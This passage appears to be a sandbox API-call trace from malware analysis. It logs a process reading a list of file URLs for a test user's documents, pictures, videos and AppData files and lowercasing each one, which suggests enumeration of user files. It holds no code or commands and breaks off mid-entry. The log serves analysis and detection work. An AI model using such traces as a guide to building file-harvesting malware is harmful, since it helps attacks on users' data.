MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned 81 [0069.054] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.054] SetFilePointer (in: hFile=0xc4, lDistanceToMove=43264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa900 [0069.054] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.054] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/BHeVV6.mkv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv" [0069.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned 53 [0069.055] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.055] SetFilePointer (in: hFile=0xc4, lDistanceToMove=43520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaa00 [0069.055] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.055] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/s_UpnGnH6bOtNe0evC.gif" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif" [0069.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned 68 [0069.055] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.055] SetFilePointer (in: hFile=0xc4, lDistanceToMove=43776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xab00 [0069.055] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.055] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/XLx9XFVUH.jpg" | out: _Str="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg" [0069.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned 48 [0069.055] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.055] SetFilePointer (in: hFile=0xc4, lDistanceToMove=44032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac00 [0069.055] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.055] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/yLRsy2oezmQpaMb5Xpsr.mkv" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv" [0069.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned 70 [0069.055] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.055] SetFilePointer (in: hFile=0xc4, lDistanceToMove=44288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xad00 [0069.055] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.055] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/BhjP5Caf9c99.gif" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif" [0069.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned 59 [0069.055] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.055] SetFilePointer (in: hFile=0xc4, lDistanceToMove=44544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae00 [0069.055] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.055] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/jtfunIUKTuKB.rtf" | out: _Str="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf" [0069.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned 53 [0069.056] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.056] SetFilePointer (in: hFile=0xc4, lDistanceToMove=44800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaf00 [0069.056] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.056] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/tWly6%20NjwxP7S.ots" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots" [0069.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned 90 [0069.056] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.056] SetFilePointer (in: hFile=0xc4, lDistanceToMove=45056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb000 [0069.056] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.056] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/Ma9jV-DYfRqQ5wZ%20Rh.png" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png" [0069.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned 67 [0069.056] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.056] SetFilePointer (in: hFile=0xc4, lDistanceToMove=45312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb100 [0069.056] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.056] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/1wkvceOJZvfWRnXVCrwl/EYO_jfjnlvH.png" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png" [0069.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned 94 [0069.056] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.056] SetFilePointer (in: hFile=0xc4, lDistanceToMove=45568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb200 [0069.056] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.056] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/LDY-i67whVYLZ/K61U%208QBIT65csaJNMU.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx" [0069.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned 104 [0069.056] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.056] SetFilePointer (in: hFile=0xc4, lDistanceToMove=45824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb300 [0069.056] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.057] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/C40Oh8.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned="file:///c:/users/aetadzjz/documents/c40oh8.xlsx" [0069.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned 48 [0069.057] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.057] SetFilePointer (in: hFile=0xc4, lDistanceToMove=46080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb400 [0069.057] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.057] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/w39fbPx.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned="file:///c:/users/aetadzjz/documents/w39fbpx.pptx" [0069.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned 49 [0069.057] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.057] SetFilePointer (in: hFile=0xc4, lDistanceToMove=46336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb500 [0069.057] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0069.057] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/C9bf3zXlekmUcEs.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx" [0069.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned 57 [0069.057] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.057] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/CJL4gO0q/f7XU9f0SBJ9qZlFH/5PBMI8.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg" [0069.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned 94 [0069.057] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.057] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/8wGZy1b.png" | out: _Str="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned="file:///c:/users/aetadzjz/desktop/8wgzy1b.png" [0069.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned 46 [0069.057] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.057] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/YREQRF_sG4Jx5EDKVVL/U8ej.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv" [0069.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned 77 [0069.057] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.058] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/Pu8nkjiAKviOXnl1Gn5.docx" | out: _Str="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx" [0069.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned 61 [0069.058] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.058] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/LDY-i67whVYLZ/T6HliEmu6l0R.ppt" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt" [0069.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned 94 [0069.058] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.058] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/rbAw.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp" [0069.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned 55 [0069.058] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.058] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/gg7cyCFjMTiuNlpsKCq.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf" [0069.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned 87 [0069.058] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.058] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/t6uzSfbVzgWKneqG/Y0M9Kmq-w9nRYD9_X/XRlOp0FhIh6H4MUMu.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp" [0069.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned 114 [0069.058] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.058] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/tuKxy_htJ_46yx.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv" [0069.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned 52 [0069.058] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.059] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/HP0A.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned="file:///c:/users/aetadzjz/documents/hp0a.pptx" [0069.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned 46 [0069.059] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.059] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/p-Dos46ITrNAxv/l3CI-wr-j02jEFP8%20k75/QbatepvwwRmXg.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv" [0069.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned 89 [0069.059] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.059] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/PwXinMYwAv8jNb-pAhWa/E57Dc0/zrocKiiWrQL0wTtbYu.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf" [0069.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned 93 [0069.059] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.059] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/Ox2%20TPJk0%20KYQWYZz.docx" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx" [0069.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned 69 [0069.059] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.059] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/i92xqrOtuyGPP.png" | out: _Str="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png" [0069.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned 52 [0069.059] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.059] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/TSxDZC%203HI/zQ3Uv.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif" [0069.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned 80 [0069.059] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.059] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/iy0BS-wZvFAPifst.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx" [0069.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned 58 [0069.059] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.060] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/H_7vjsWkN-J5Z6eIBTc0.png" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png" [0069.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned 67 [0069.060] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.060] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M%20Py5Nq8/z5JYw4cK3pxGs8vo6PWX.xls" | out: _Str="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls" [0069.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, 